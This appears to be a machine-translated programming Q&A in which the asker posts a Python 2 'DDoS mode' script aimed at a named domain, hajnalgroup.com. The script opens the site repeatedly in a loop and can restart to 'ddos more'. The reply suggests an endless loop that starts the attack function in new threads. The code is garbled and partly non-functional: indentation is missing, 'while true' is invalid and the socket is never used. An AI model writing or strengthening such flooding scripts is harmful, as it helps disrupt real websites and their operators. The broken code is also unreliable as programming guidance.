我正在尝试使用python攻击我的网络服务器。
是否有可能在同一时间以某种方式打开网页?我该怎么做?也许使用线程?任何的想法?
import time, socket, os, sys, string, webbrowser, thread
def restart_program():
python = sys.executable
os.execl(python, python, * sys.argv)
curdir = os.getcwd()
print ("DDoS mode loaded")
host="hajnalgroup.com"
port= 80
message="+---------------------------+"
conn= 200
ip = socket.gethostbyname(host)
print ("[" + ip + "]")
print ( "[Attacking " + host + "]" )
def dos():
#pid = os.fork()
ddos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
webbrowser.open('http://hajnalgroup.com')
#thread.start_new_thread(webbrowser.open("hajnalgroup.com"))
except socket.error:
print("connection failed")
print i, ( "attack just started")
ddos.close()
for i in range(0, conn):
dos()
print("The connections you requested had finished")
if __name__ == "__main__":
answer = raw_input("Do you want to ddos more?")
if answer.strip() in "y Y yes Yes YES".split():
restart_program()
else:
print "bye"
答案 0 :(得分:2)
我会做以下事情:
while true:
import thread
thread.start_new_thread(ddos, ())
通过这种方式,您可以获得服务器功能强大的粗略图像。